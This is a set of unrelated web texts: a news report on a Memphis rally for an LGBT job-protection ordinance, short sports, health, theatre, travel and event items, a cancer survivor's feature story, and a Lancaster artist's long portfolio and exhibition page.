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About 500 people gathered Sunday at First Congregational Church to rally in support of a proposed ordinance to protect gay, lesbian, bisexual and transgender people from job discrimination.
"We're on the steps of a church ... it's peculiarly appropriate," said Commissioner Steve Mulroy, who introduced the measure. "It's just the Christian thing to do, to treat people with respect."
Rallying for equality
Supporters of amendment rally together
The ordinance goes to a vote today before the Shelby County Commission. The results from an early vote Thursday were 5-5 with abstentions from Democrats Sidney Chism and James M. Harvey. Speakers at the rally called the two out by name in hopes for a change in their favor today.
"A great number of people are misinformed and a great number are just plain bigoted," said former commissioner Walter Bailey, who argued that the gay community's struggle is a civil rights matter.
"It makes me emotional because I can remember running from dogs, from police with batons and tear gas in certain parts of town. We hope that it's a thing of the past."
Sen. Beverly Marrero said as a Memphian, she had seen discrimination her entire life.
"I promise you, what I believe in, I will always believe in and stand up for what I know to be the right thing," she said.
Speaking for intersex people, the preferable term for people with the biological characteristics of both the male and female sexes, was Darlene Fike.
"I lived most of my life as what I was cut to be, a male," said Fike.
"I left because I could no longer stand it. It's not a choice. This is not something that is easy to get your mind around because you have to be able to think.
"When I came out, I lost my job, was physically assaulted and turned down from medical care," she continued. "This is a problem. It is wrong to discriminate when you don't know what's behind it. I challenge one commissioner (voting no) to study the Bible on this."
Several speakers reacted to the pastors who spoke against the proposal last week.
"Church people in Memphis have been fed some rotten information," said Rev. Elaine Blanchard, who is openly lesbian. "They insist words written 2,000 years ago include facts about modern human sexuality and that's ridiculous.
"It's time churches got the facts straight about what it means to be a church," she continued. "It's for such a time as this the GLBT community can come together to show the church how to obey the golden rule."
Race is interwoven into the religious component of the debate. Two black ministers spoke at the rally.
Waving a sign that read "Life, Liberty and the Pursuit of Happiness," Laurence Albert said "coming out" in the black community was a huge issue.
"If I could tell you why, then I could solve the problem," said Albert, 56. "People can be cruelly judgmental."
After the rally, Mulroy said bringing race to the topic was a "complete red-herring" fallacy.
"There are just as many black gay people in Shelby County as white," he said. "It's just a vocal minority that seems larger than it really is. At the end of the day, most people just don't care at all."
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Retired champion Lorena Ochoa shot a 1-under round of 69 at the Lacoste Ladies Open on Thursday.
Ochoa is playing at the request of the sponsor. She was ranked No. 1 for three years and won two majors among 27 victories before retiring from full-time golf in April 2010 to focus on her family and charities.
After her first round on the Ladies European Tour in more than two years, the 30-year-old Ochoa said ''I think for sure, I made a couple of mistakes out there that made me mad, but I think it was a good day. I was trying to go around (in) par.''
Stacey Keating of Australia led the day with a 62 at Chantaco Golf Club.
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WEDNESDAY, Nov. 17 (HealthDay News) -- Resistance exercise such as weight training affects blood vessels differently than aerobic exercise and offers other cardiovascular benefits, finds a new study.
Researchers at the Appalachian State University in Boone, N.C., compared blood vessel (vascular) responses to two types of moderate-intensity workouts: three sets of 10 repetitions of eight resistance exercises and 30 minutes of aerobic cycling.
There were significant differences in the vascular responses to the two types of exercises. Resistance exercise produced greater increases in blood flow to the limbs, while aerobic exercise reduced arterial stiffness, but without an increase in blood flow.
Resistance exercise also led to a longer-lasting decrease in blood pressure after exercise, compared to aerobic exercise.
"Resistance exercise may offer greater benefits from the increases in blood flow to active muscles and could be implemented as a companion to an aerobic training program," wrote study leader Scott R. Collier, of Appalachian State University, and colleagues in a press release.
They said their findings support previous research showing that resistance exercise has unique effects on blood pressure and limb blood flow.
"The present study indicates that an acute bout of resistance exercise shows many favorable cardiovascular benefits and should therefore be considered as part of a daily exercise training program," the researchers concluded.
The study appears in the November issue of Journal of Strength and Conditioning Research.
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With a dazzling combination of choreography and music featuring a full onstage band and songs like "Willkommen," "Don't Tell Mamma," "Maybe This Time," "Two Ladies," and "Cabaret," this steamy, sexy and powerful musical tells the story of Sally Bowles (made famous by Liza Minnelli in the movie) and her exploits with love at the Kit-Kat Klub in 1931 Berlin.
There will be two special one-time only performances with Symphony of the Mountains at The Toy F. Reid Center in Kingsport, TN. November 11 & November 12 at 8 p.m. Call Barter Theatre's Box Office at 276-628-3991 for reservations and more information.
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A unique feature of electric cars back in the day were volt-amp meters. This meter would have been attached to a car's lead-acid battery and monitored by the driver, according to Electric Auto Association historian Darryl McMahon. These days electric car owners get great detail on battery charge state and projected range remaining. But early 20th century electric cars required a bit more skill by reading both the electric load, reflected in the voltage meter, and how hard the electric motor was working, reflected on the ammeter. Electric cars were typically driven by a hand-operated control, rather than pressing a pedal.
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It's 8:30 a.m. on Friday, and Cindy Riggs has just arrived at the Ritz-Carlton, Sarasota Day Spa and Salon, where she'll spend the day being pampered.
The Ritz-Carlton Members Club, Sarasota, recently announced Riggs, 48, as the winner of its first Cancer Survivor Essay Contest. She's already changed into a light-pink-and-white robe and is sitting in the salon, eagerly awaiting her makeover — a massage, facial, manicure, pedicure, hairstyle and makeup.
Last July, Riggs felt a lump in her breast. When she checked again one month later, the lump was still there, so she saw her doctor, who ordered a mammogram and ultrasound. When the doctor phoned that afternoon, he told her to see a surgeon immediately.
"After the biopsy, the surgeon's office called and confirmed that it was breast cancer," Riggs said. "I don't remember what my first thought was. My feeling was, 'OK. What do we need to do?' It was shocking because I've always been very healthy."
Telling her children — Tiffany, now 16, and Dylan, now 18 — wasn't easy, because they had lost their father, Glenn, one year earlier to a heart attack.
"To have to give them more news that was going to rock their world again … it was difficult," Riggs said. "I told them I would be fine and 'We're going to get through it.' When trials and tribulations come against you, (your) faith is tested, but it is also strengthened."
Her treatment plan included chemotherapy from August through December, followed by surgery and radiation. The tumor started shrinking from the first chemo treatment, and each time that she saw her doctor, she received a good report.
"For me, I was extremely nauseated, had no appetite and was fatigued," Riggs said. "At the same time, I was trying to maintain a full-time job, children and a house, and that's where my mom (Marilyn Seymour) and my sister (Malina Williams) were just amazing help. You have to have help, and you have to accept help."
Riggs celebrated the news that she was cancer-free in January by giving her testimony at church.
"When I was diagnosed, one of the first scriptures I was given by God was a psalm that says: 'I will live and not die and proclaim the works of the Lord,'" she says. "I knew I would survive this, and when I did and I was cancer-free, I had to fulfill that promise. When people see you go through things and come out OK on the other end, it gives them hope."
When it came to the deadline of the essay contest, which Riggs heard about through a co-worker, she still wasn't sure she wanted to enter. But after a phone call from her sister, who encouraged her to write her story, she prayed about it, sat down and started writing. Within 15 minutes, she had 800 words.
"I was pleasantly surprised when I got the call (about winning)," Riggs said.
The day of beauty last week stated with a Swedish massage and facial. Her agenda was so busy that she ordered in lunch while having her hair done. After her manicure and pedicure, Riggs spent the evening at the Ritz-Carlton with her mother and sister.
"That's really what made me enter this contest," Riggs said. "It's hard to repay somebody for all the care they give you. My mom was at my house almost every day for months. My sister would come out on the weekends. We're going to hang out in the room and just have girl time."
Riggs says the pampering also had a psychological effect.
"There has not been one day since I got this diagnosis that I haven't thought of either the next doctor appointment or next treatment," Riggs said. "I realized about three-quarters of the way through today that I had not thought about the c-word. That in itself is just wonderful therapy — to be able to have a day where you didn't have to think about being sick."
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The following excerpt is from Cindy Riggs' winning essay:
It is one thing to say you believe, but when fear whispers or sometimes screams, "give up"; "it's too hard"; "get your affairs in order"; this is when your faith is tested. Just as iron sharpens iron, it is in those tests that your character is strengthened. It is those tests for which I am grateful. Each of those tests of faith and trust would prove to build more faith and trust to overcome and see me through the next.
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A general session kicks off at 2:30pm where Search Engine Watch Forums editor Elisabeth Osmelowski will have a panel taking questions and offering advice and thoughts on anything. After a break, there will also be another short open panel session involving some of our SEWF moderators from the area -- we've got quite a contingent out there! -- and some from afar (Disneyland is tempting some to come on out). I'm on vacation in the area at that time, so I'm swinging over to take part.
More networking runs from 5pm to 7pm during the networking cocktail reception, which Yahoo is kindly backing. After that, Disneyland's just a monorail ride away!
More info here. Registration here. Discussion among our forum members on the event -- who's going, what to wear, where to go around the event -- and more is covered in this thread.
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Bahamas tour that doesn't include Anna Nicole Smith
When I saw the New York Times article "36 Hours in the Nassau, the Bahamas," I wondered if anything having to do with Anna Nicole Smith would be included. [see previous post] Right after Anna Nicole died, taxi drivers would take folks who wanted to see the pertinent places of her life and death on unofficial tours.
The New York Times article didn't mention Anna at all. Not a peep. Instead of dabbling in low brow culture, go high brow. In 36 hours you can take in the National Art Gallery of the Bahamas, swim with sharks, watch a cricket game, meander through the botanical gardens and more.
When my dad and daughter went to the Bahamas on a quick cruise, my dad wasn't too impressed with Nassau. If he'd had the itinerary outlined in the article, he probably would have come away with a totally different idea. Still, there's a lot about going to the Bahamas that sounds like lounging and the beach. He's not a lounger--and he doesn't smoke cigars as suggested, but the Poop Deck Restaurant would have been perfect.
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To be...replaced, copyright 2012, 48" x 24"
acrylic with found wood patterns, tape and graphite
on cradled luan board, with sheetrock corner guides as framingI am pleased to announce that To be...replaced was accepted to show, and received Second Place in "Other Media" at the Art Association of Harrisburg's 2013 84th International Juried Exhibition currently on view at the Association until the end of June.
Thanks to all who came out to the preview and opening receptions for the solo exhibition of my work, "To be" at the Ware Center of Millersville University located at 42 North Prince Street in Lancaster, PA, during the month of October. The Center is a hub of cultural activity and the beautiful building offers an architectural showcase for visiting artists' exhibitions. Please visit the Center's website for information, directions and hours, or visit their page on Facebook.
Below are several new assemblage works created for the exhibition, "To be...". This method is a departure for me. Your feedback about these new pieces will be great to receive, if you have a minute to write.
All of these are copyright 2012. All are on cradled luan plywood with sheetrock corner forms as frames.
Left: To be...silent, acrylic, silver spray paint, silk velvet, copper nails, stainless steel wire, found amber glass; 48 x 24
Middle: To be...honest,, acrylic house paint, acrylic, oil pastel and pastel, corrugated packing material and drawing; 48 x 24
Right: To be...in love, acrylic house paint, down, silk velvet and found amber glass; 48 x 24 availableThe Lancaster Museum of Art will host an exhibition and auction of original artworks to benefit the Museum. "Holiday Cheer" will feature an exhibition of fine original art donated for this event by collectors and artists. An opening reception will be held on First Friday, December 7, from 5 to 8 pm. Guests can view the auction items, purchase tickets for a Gala to be held on December 14 (which will include a cocktail party with food, drink and live music). Visit the Museum's website for information, directions and hours, or visit their page on Facebook.
Departure - the 27th day of the 3rd month copyright 2011 acrylic, ink and gold leaf on canvas, 36" x 36", availableBe sure to visit the Susquehanna Center for the Creative Arts, 452 Locust Street, (between Fourth and Fifth Streets), Columbia, PA, where Fourth Fridays of every month you can attend a reception for the exhibiting artists, experience glass blowing and music by resident musicians. The events begin at 5 pm. More information is at Facebook
I participated in the Third Anniversary Artist Invitational Exhibition at Painted Desert Gallery during the month of August, 2012. Visit the gallery's website for information, directions and hours of operation.
"An Architect's Influence", 2012 Demuth Museum invitational, was extended until March 11, 2012. Visit the Demuth Museum on line for more information about the historic home of Charles Demuth and the museum's hours of operation, directions, exhibitions, etc.
Shroud copyright 2011
40" x 60", acrylic on canvas
collection of Ken and Charteleda Kauffman, Lancaster, PA
Element-Sky (from the exhibition "Wind Horse - The Prayer for Peace") copyright 2010,
32" x 40" , ink, acrylic monotype on kudzu paper
collection of Ann Barshinger, Lancaster, PAI am very honored to have been awarded First Prize for the monotype with acrylic painting on kudzu paper, Element - Sky (from the exhibition, "Wind Horse - The Prayer for Peace") at the 2011 Women's Expressions Exhibition at Lancaster Women & Babies Hospital, Campus of Lancaster General Hospital, Lancaster, PA.
Icy Pond copyright 2011, 40" x 48" , acrylic, oil pastel on canvas, availableI was one of six artists featured in an invitational exhibition "Red Rose City Artists", at the Goggle Works in Reading, PA. The exhibition continued until September 11, 2011.
A solo exhibition of recent works was hosted at Gallery 705 in Stroudsburg, Pennsylvania, from April 14 through May 14 of 2011. Gallery 705 is located in the historic district of Stroudsburg, PA. The emphasis of the gallery is modern and contemporary paintings, drawings, prints and mixed media works by established national and international artists. For information and gallery hours, directions, etc., please link to the gallery here.
Things are About to Change copyright 2011, 48" x 60" , acrylic, mica, oil pastel on canvas
collection of Frank and Joy Manning, Lancaster, PA
Study for Room Panels copyright 2009, 22" x 40" , acrylic, ink, gold leaf on paper
collection of George Mummert, Lancaster, PA
Look Up! We think we can know her by the trail she left behind.
In truth it only tells us she is gone.
copyright 2010, 100" x 25", acrylic ink on drawing paperavailable
Night Flight copyright 2010, 30" x 24", acrylic, enamel on Yupo
collection of Lisa Shirk, Lancaster PA
Beatification (detail) copyright 2010, 40" x 330",
gesso, crayon, graphite, ink on drawing paper, available"Drawing Conclusions" was the title of an exhibition shown at the Art Space, East Building, Harrisburg Area Community College, Lancaster, PA.
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Swords into Plowshares copyright 2010,
a small work created for "Trees Galore" annual auction to benefit the Lancaster Museum of Art
Three Mountains copyright 2010, 20" x 16" acrylic on kudzu paper
collection of Tom and Frances Donnelly Wolf, York, PA
Rust and Silver copyright 2007, 36" x 28", acrylic, ink on paper, available
Thus and no Further (Job 38:11) copyright 2007, 58" x 58",
acrylic on canvas, available
Lone Mountain, 2010, 24" x 24"acrylic on paper Collection of Michael Green, Lebanon, PA
Siddhartha - The Birth of Bluecopyright 2004, diptych, 8 feet by 5 feet (total), acrylic on canvas, available
At any time during the year works can be viewed at Exhibit 110, 110 East King Street, Lancaster, PA.There are also some large scale works in place at the offices of Manning and Rommel Associates, 2115 Noll Drive (the Noll business Park adjacent to Stauffers on Rohrerstown Road) in Lancaster. For information about their business hours, call 717-393-7980
Atoll copyright 2009, 24" x 30",acrylic oil pastel on paperavailable at Waltz Vineyards, Manheim, PA
Several large works can be seen at Waltz Vineyards, Old Line Road in Manheim, Pennsylvania. The Vineyard owned by Kimberly and Jan Waltz celebrates its fourth year of business after a 10 year period of growing and perfecting grapes. I wish them the best of luck with their venture. Tastings and special events at the winery are available. Please link to their website for information about available wines, tasting events and store hours.
La Neige et L'hiver (sketch for triptych) copyright 2009
34" x 51", acrylic, ink, pigment, encaustic on canvas, collection of Tom Beeman, Lancaster, PA
Raising Lazarus copyright 2005, diptych, 60" high x 96" wide,acrylic on canvas, available
La Neige et L'hiver copyright 2009, three panels, total: 5.5 feet high by 24 feet long, acrylic, mica on canvas
available at Waltz Vineyards, Manheim, PA
Jade Mountain copyright 200924" x 30", acrylic, ink, pigment, on paper
collection of Roberta McClintock, New York, New York
From January 27 - February 26, , I was invited to participate in the Handprint Identity Project, a collaboration of poets and artists which has traveled since early in 2009. I worked with poet, Barbara Crooker, to develop related poetry and painting to be exhibited at the event. Barbara's poem, "Climbing the Jade Mountain", is responsible for the piece "Jade Mountain" above, and she is writing in response to "La Neige et l'hiver" (above), the sketch, and the large triptych, "La Neige et l'Hiver apportent la mort et fournissent la naissance du printemps". To view Barbara's poems, please see her website: http://www.barbaracrooker.com
Testimony of Eve copyright 2006, 28" x 28", acrylic, ink on papercollection of Mary Burton, Lancaster, PA.
Guidebook Fragment copyright 2006, 38" x 28", acrylic, ink on papercollection of Jess May, Lancaster, PA.
Also in Spring of 2010, I participated in an exhibition, "Perspectives on Preservation" - A celebration of Art & Poetry expressing Lancaster County Artists' perspectives on preserving our land, resources, and culture. This is also a collaboration and I was happy to be working with Barbara Strasko, poet laureate of Lancaster County. The piece Encroachment - the tiny silos, is in response to her poem about Warren Rohrer, Lancaster native and artist. The exhibition was held at The Keystone Art and Culture Center in Lancaster, PA. Music and poetry readings by local poets and Lancaster School District student poets were the highlight of the event.
Encroachment - The Tiny Silos copyright 2009, 46" x 68", acrylic, oil pastel on canvasavailable
Bridge Across the Ashokan - Late Summer copyright 2009, 24" x 54", acrylic on canvascollection of Joy and Frank Manning, Lancaster, PA
Last Winter (remembering Gus) copyright 2009, 18" x 16", acrylic, ink on vellumcollection of Tim and Mary Pat Donnellon, Lancaster, PA
Guidebook copyright 2009, 18" x 16", acrylic, ink on vellumcollection of Keith and Suzanne Orris, Lancaster, PA
Barbara's Field copyright 2009=18" x 16", acrylic, ink, gold leaf on papercollection of Mike and Elizabeth Todd-Lambert, Lancaster, PA
Design for Screen copyright 2009, 20" x 46", acrylic, ink, gold leaf on vellumcollection of Stefanie Valar and Ed Hauck, Lancaster, PA
Frozen Pass copyright 2009, 18" x 16", acrylic, ink on vellumcollection of Laura Watt, Philadelphia, PA
Harmony - The Lake and The Moon copyright 2009, 24" x 30", acrylic, ink on mylar mounted on papercollection of Tom and Judy Willig, Lancaster, PA
Ice Floe copyright 2009, 18" x 16", acrylic, ink on vellumin, in a private collection
Jade Mountain I copyright 2009, 18" x 16", acrylic, ink on vellumavailable
Jade Mountain II copyright 2009, 18" x 16", acrylic, ink on vellumavailable
Jade Mountain - Snow copyright 2009, 18" x 16", acrylic, ink on vellumavailable
Influence copyright 2007, 24" x 38" (framed), acrylic on mylar mounted on boardcollection of Graeson Burnette-Peake, Philadelphia, PA
Violet copyright 2008, 60" x 48", acrylic, ink on canvasavailable at Manning and Rommel Associates, Lancaster, PA
The Lost Year copyright 2007, 59" x 39", acrylic on canvascollection of Mrs. Nancy Daffin, Lancaster, PA
Evidence of Occupation copyright 2009, 20"H x 7" W x 4" deep, found wood, recycled paint and findingsavailable
Bound copyright 2009, 16"H x 7" W x 4" deepfound wood, recycled paint, dental floss, chicken feather and findingsavailable
"Evidence of Occupation" and "Bound" are found wood and recycled paints, pearls and findings and were selected by juror, Linda Cunningham for exhibition at "SALVAGE - Reclaiming Recycling", a national juried exhibition held at The Phillips Museum of Art at Franklin & Marshall College in Lancaster, PA, in September through December of 2009.
Street Siren, from the series, "Solo Road" - 2008 Claire Giblin,silver gelatin print, 20" x 24"
available"Solo Road" is a series of 11 photographs (silver-gelatin prints). The photos were taken with a Holga camera and printed on fiber based paper. Taken over a two week period of time in Lancaster, New York City and back in Millersville, my home, the series explores the variations in landscape and the magic of the Holga all plastic, fixed lens, filled with light leaks, camera. This series of photographs were first shown at a solo exhibition at Southwest Minnesota State University (2009). For information about purchase and thumbnail images of the series, please contact me at firstname.lastname@example.com
Poem I - Red Pines - Snow on Cold Mountain copyright 2007, acrylic, ink on paper
collection of Phillip Freedman, Lancaster, Pennsylvania
The Day After copyright 2007, 48" x 36", acrylic, ink on canvas
collection of Nancy and Jerry RescignoMarriottsville, Maryland
The Acolyte copyright 2007, 60" x 48", acrylic on canvascollection of Adrian Hennessey, Syracuse, New York
Monastery copyright 2005, 60" x 96", acrylic on canvascollection of Dr. and Mrs. Steven Morgan, Lancaster, PA
Rising-Receding copyright 2007, 45" x 48", acrylic on canvasavailable at Waltz Vineyards, Manheim, PA
Won't Stop, copyright 2007, 32" x 23", acrylic, ink, encaustic.collection of Roberta McClintock, New York, New York
Journey copyright 2005, 24" x 60", acrylic, mica on canvascollection of Bruce and Janice Goldstein, Philadelphia, PA
Heart is Sacred copyright 2007, ink on vellum under glass,available
Toward Evening copyright 2007, 26" x 38", acrylic on paper, collection of Elena Casaccio and Rob Kostur, Philadelphia, PA
Lost in Translation copyright 2006, 37" x 37", acrylic on mylarcollection of Rod Firestone, Harrisburg PA
Blood of My Blood copyright 2006, 30" x 40", acrylic on canvas
Mediator copyright 2006, 16.5" x 26", acrylic on papercollection of George and Jan Broske, Newark, Delaware
Rest copyright 2005, 5 feet by 4 feet, acrylic on canvascollection of Kathy and David Bowles, Fort Washington, PA
The Lancaster Arts Hotel is located in Lancaster City (300 Harrisburg Avenue). This luxury boutique hotel, with beautiful lobby, is a museum you can sleep in! The Arts Hotel features artwork, sculpture, and a fine art gallery and a world class restaurant with the freshest local produce and meats. There are 63 guest rooms and suites, two meeting rooms, wireless and wired internet access, a free business center, fitness center, laundry services, whirlpools in suites, etc. There is also free parking. I am very pleased to have a suite (Room Number 503) with my original artwork installed and available for sale, as well as a self-portrait in the portrait gallery. For reservations call: 717.299.3000 (toll free: 866.720.2787). You may also visit the website at: www.lancasterartshotel.com . Currently, the works on display in the Giblin Suite 503 are: "Love - No Barrier", "Wisdom - good, beautiful and true", "Tormentosa" and "Fetish".
Love - No Barrier (what barrier is there that love cannot break? M. Gandhi copyright 2005, 50" x 72", acrylic on canvas
collection of The Arts Hotel (suite 503), Lancaster, PA
Tormentosa copyright 2006, 24" x 36", acrylic on papercollection of The Arts Hotel (suite 503), Lancaster, PA
Wisdom - good, beautiful and true copyright 2007, 32" x 38", acrylic on canvas
collection of The Arts Hotel (suite 503), Lancaster, PA
REMINDER NOTICE Weekly life drawing studios take place every Tuesday evening, 7 pm to 9 pm, in the second floor drawing studio of the Herman Arts Studios on Buchanan Avenue in Lancaster. The building is on the campus of Franklin & Marshall college and is situated next to the North Museum. Cost for two hours is $5.00, $2.00 for students and free for F & M students. Please e-mail me at: firstname.lastname@example.com for information.
Protectorate copyright 200740" x 30", acrylic on canvascollection of Janice and Bruce Goldstein, Plymouth Meeting, Pa
Charting the Harbor copyright 2006, 18" x 24", acrylic, pigment, ink and encaustic on papercollection of Steve and Kathy Borkgren, Lancaster, Pa
Illuminated Text, 2006, 12" x 12" acrylic on canvascollection of Heather Heilman-Loercher and Scott Loercher, Wrightsville, Pa
Leaving the Imperfect World, copyright 2005, acrylic on canvas,
collection of Barbara Lewin, Philadelphia, PA
Record of Time Passing copyright 2007, 40" x 60", acrylic on canvas
collection of Dr. and Mrs. Steve Morgan, Lancaster, Pa
Martyrdom of St. Joan copyright 200536" x 25", acrylic on canvascollection of James Albrecht and Alena Villani, Philadelphia, Pa
Sphinx copyright 2005, 6 feet by 7 feet, acrylic on canvascollection of Kathy and David Bowles, Fort Washington, Pa
The Ancient Wood is the image on 2009's New Year greeting. The painting was auctioned at 2008, "Trees Galore", the annual benefit for the Lancaster Museum of Art, in Lancaster, PA. It is in a private collection
Peace copyright 2005, acrylic on mylar,
one of a series of four paintings painted for ArtPoint Black invitational exhibition, Florence, Italy in 2005collection of John Ground, Lancaster, PA
For the sixth year, I will participate in the Invitational Fusion Calendar Exhibition, hosted by Fumihiko Enokido Fusion Art Institute, Japan. Exhibition of calendars will begin in April, 2011 at Ankara, Turkey. For information about the exhibition, please see the article here. You may also visit the website at: this link
Back to the Garden copyright 2005, 5 feet by 8 feet, acrylic on canvasavailable at Manning and Rommel Associates, Lancaster, PA
Visitation copyright 2005, 40" x 30", acrylic on canvascollection of Elena Casacio and Robert John Kostur, Glenside, PA
We said Goodbye on a Corner in Once (Jorge Luis Borges) copyright 2005, 30" x 40", acrylic on canvascollection of Mike and Vicki McCarty, Lancaster, PA
Road to the Ashram - Big Indian, NY copyright 2005
50" x 51", acrylic on canvascollection of Robert and Michelle Campbell, Lancaster, PA
Adrift copyright 2005 40" x 30", acrylic on canvas
collection of Dr. Barbara Lewin, Philadelphia, Pa
Looking Across the Healing Field copyright 2005, 38" x 39", acrylic on canvas
collection of Scott and Leigh Fitzpatrick, Philadelphia, PA
Second Chamber copyright 20055,
2 feet by 7.5 feet, acrylic on canvasdamaged (not currently available)
The Burning Sea copyright 2005 18" x 18", acrylic on canvas
collection of Mark Anderson, Chestnut Hill, PA
Big Orange copyright 2004, acrylic on canvas, 48" x 60"
available at Manning and Rommel Associates, Lancaster, PA
Understanding Blue copyright 2004 44" x 44", acrylic on canvas
collection of Steve Funk, Lancaster, PA
A House Divided copyright 2004, 18" x 18", acrylic on canvas
collection of Heather Heilman and Scott Loercher, Wrightsville, Pa
Inca original ink drawing donated for "Trees Galore", the annual auction to benefit the Lanaster Museum of Art.
This image is a digitized version of the work which is this year's New Year greeting.
The original ink drawing is in the collection of Stanley and Nancy Grand, Lancaster, Pa.
Glorious Morning original ink, gold leaf and acrylic on paper, donated for "Trees Galore", the 2011 annual auction to benefit the Lancaster Museum of Art.
collection of Barbara Hammel, Lancaster, Pa.
Portrait of Po copyright 2003, 38" x 36", acrylic on canvas
collection of George and Jan Broske, Newark, DE
Interpreting the Dream copyright 2005, 48" x 72", acrylic on canvas
available at Manning and Rommel, Lancaster, PA
At the Edge copyright 2004, 42" x 18", acrylic on acrylic sheet
collection of Jan and George Broske, Wilmington, Delaware
Structure of Sequence copyright 2005, 42" x 63", acrylic on canvas
collection of Dr. and Mrs. Steve Morgan, Lancaster, Pa
Looking Outward copyright 2003, 31" x 40", acrylic on canvas
collection of Amy Heavey, Ossining, New York
Asia copyright 2004, 30" x 30", acrylic on canvasCollection of Drake Nicholas, Esq., Harrisburg, Pennsylvania
Waking on the Third Day copyright 2004, 38" x 42", acrylic on canvas
collection of Michael and Victoria Marino-Sousa, Melville, New York
St. Marks Square, Venice copyright 2004, 30" x 36", acrylic on canvas
collection of Lilia Heisley, Harrisburg, PA
The Day of Patti's Passing(detail) copyright 2003, 26" x 38", acrylic on canvas,
collection of JoAnn Mitchell, Harrisburg, Pa
Sentinels copyright 2002, 39" x 27", acrylic on acrylic sheet
First Prize - 2003 Lancaster County Art Association Members' Exhibition
in a private collection
Many Voiced Echoes in the Mist copyright 2003, 28" x 39", acrylic on acrylic sheet
in a private collection
Solstice copyright 2003
collection of Claudette and Keith Archambault, Fairfax, Virginia
Eve of Light, copyright 2003, acrylic on board, 50" x 50"
collection of Tracey Meloni, Harrisburg, Pa
Pilgrim Soul II copyright 2003, 40" x 36", acrylic on canvas
collection of Lesa Gerard, Philadelphia, PA
Without a Kiss copyright 2003, 37" x 41", acrylic on canvas
collection of Laura Blair, Elkins Park, PA
Yin Yang copyright 2002, 27" x 39", acrylic on acrylic sheet
collection of Rodger and Carol Faill, Harrisburg, PA
Ses Memoires (la bella sera), copyright 2002, acrylic on canvas, 32" x 42".
collection of Angie and Daniel Roeder, Vienna, VA
(created for the Alice Drum Women's Center 10th Anniversary Celebration, March 28, 2003)
copyright 2003, 42" x 18", acrylic and collage on plywood
Collection of the Women's Center, Franklin & Marshall College, Lancaster, PA
This Poem copyright 2002, 24" x 14", acrylic on paper,
Collection of Barbara Verrier, Baltimore, Maryland
Labyrinthine Soul, copyright 2002, acrylic on paper, 24" x 14",
collection of Mr. and Mrs. Art Pavlatos, Lancaster, Pa\
Passage to the New World, copyright 2002, acrylic on acrylic 37" x 29".
collection of Robin Walsh Wise, Lancaster, Pa
Mystique, copyright 2001, acrylic on paper
collection of Jason Adams, Harrisburg, PA
Shrine of the Sea Turtle, copyright 2001, acrylic on canvas. 24" x 36".
collection of Drake Nicholas, Esq., Harrisburg, PA
Walking Down West 4th Street, 2001, acrylic on paper
, in a private collection
In Search of Avalon, copyright 2002, acrylic on paper 26" x 38".
collection of Dr. and Mrs. Steven Morgan, Lancaster, PA
Distant Hills, copyright 2001, acrylic on canvas, 38" x 36"
collection of Jason Adams, Harrisburg, PA
Shattered Sky, copyright 2001, acrylic on canvas. 49" x 32"
collection of George and Jan Broske, Newark, Delaware
(Creeping) In the Garden at Night, copyright 2001, acrylic on canvas
Created for the Yellow Wallpaper project, July, 2001
collection of Marianne Milianta and Robert Creason, Harrisburg, PA
Yellow Wallpaper, copyright 2001, acrylic on paper,
collection of Julie Brodie and Michael Huffnagle, Gambier, Ohio, created for the production "The Yellow Wallpaper", July, 2001
Field of Green, copyright 2000, acrylic on paper
collection of Dr. and Mrs. Steve Morgan, Lancaster, PA
I will continue to update this page with new images and exhibit information. In the meanwhile, please keep in touch and return occasionally to see what might be new for you. As always, I will be happy to show you new work by e-mail or on this page, if you are interested. Please let me have your comments. Thank you, again for your interest and for visiting.
Her Voice (I Hear Her Voice in the Gentle Breeze of a Summer's Eve),
1999, acrylic, oil, pastel, watercolor on paper.
(Collection of Jay Green and Mary Tamaki, Los Angeles, California)
Out of Chaos, 2000, acrylic, oil, watercolor on paper.
collection of Steve and Andrea Morgan, Lancaster PAClaire Giblin was born in New York City. As a child, she was tutored in studio techniques by her uncle, Western artist and historian, Vincent Mercaldo, and began creating artwork at a very young age. She continued to study fine art independently, attending life sketching, painting and art history courses in New York City at F.I.T. and in Pennsylvania at Lebanon Valley College, Millersville University and Franklin & Marshall College. She combines mediums, using acrylic, watercolor, oils, pencil, ink, encaustic and pastels on paper and canvas. Her paintings have won awards and acclaim by jurors and critics and are in private and corporate collections throughout the United States. The artist donates 10% of all proceeds from the sale of her artwork to charities which support the homeless, including The Bowery Mission in New York City and the Water Street Rescue Mission in Lancaster, Pennsylvania.
I grew up in the inner city where life was never easy. I had an alcoholic father who left our home when I was five years old. He lived on the subways and streets and eventually died in New York City's Bowery section. At a very young age I began to draw. Creative expression was the means by which I was able to survive severe depression as a child and, later, as an adult, I was able to endure many hardships because of the transportation of life to art which I practiced. I created out of frustration and fear and pain and the desire to escape what was too overwhelming to understand. However, I always believed I could transcend those subjective motivations to create art that is an expression of beauty and peace.
The power of art substantiates its value in society. The premise that thoughts and emotions transcribed into visual images can affect behavior, fascinates me. The slightest suggestive response gleaned from a painting can trigger narratives of historical and contemporary events or generate feelings of pure visual excitement, social consciousness, movement and ecstasy. This points to the purpose of art -- its enormous inherent power to influence an individual, or entire civilizations. As an artist, my job is to see things differently and to present things that might lead to open conversation and understanding. Unspoken communication is a key to enlightenment and peace, and this is the thrust of my commitment as an artist.
Daybreak, 1999, acrylic on paper
Collection of Mr. NS Mrs. Paul Barrett, Bethesda, Maryland
Onset of Winter", 1999 acrylic and watercolor on paper Collection of Mr. & Mrs. Robert Bowman, West Chester, Pennsylvania
2011, First Prize, Women's Expressions Invitational Exhibition, Womens and Babies Hospital, Lancaster, PA
"Best in PA" - 2005 yearbook of Pennsylvania's Best Artists - Honorable Mention
Business 2 Business Magazine's 2005 "Hottest Artists" - Top 10 Mixed Media artists
Best of Show - Grand Prize - Hanover Art Fest '96, Ashland, Virginia - "Reflections-Morning"; judges: Shelly B. Sheperd, Hand Workshop Art Center; Mary Holland, VA Museum of Fine Arts.
National Award Winner - Grand Prize - "Art Contest of the Month", NAOFA (National Appreciation of Fine Artists), November, 2000, "Field of Green", Cover for Month of November
First Prize - Lancaster County Art Association 2003 Spring Membership Show\ Grumbacher Gold Medallion Award, 2002Jack Richeson & Co. Award, Philadelphia Tri-State Artists Equity, 2010
Award in Memory of Elaine Alber, Philadelphia Tri-State Artists Equity, 2007
Pearl Paint Award, Philadelphia Tri-State Artists Equity 2008 "In Search of Ourselves", Moe Brooker, Juror
Judges' Choice Award, 28th Annual Mt. Gretna Outdoor Art Show, Mt. Gretna, Pa, 2002
Jack Richeson Award, Philadelphia Tri-State Artists Equity, 2010 Anniversary Exhibition
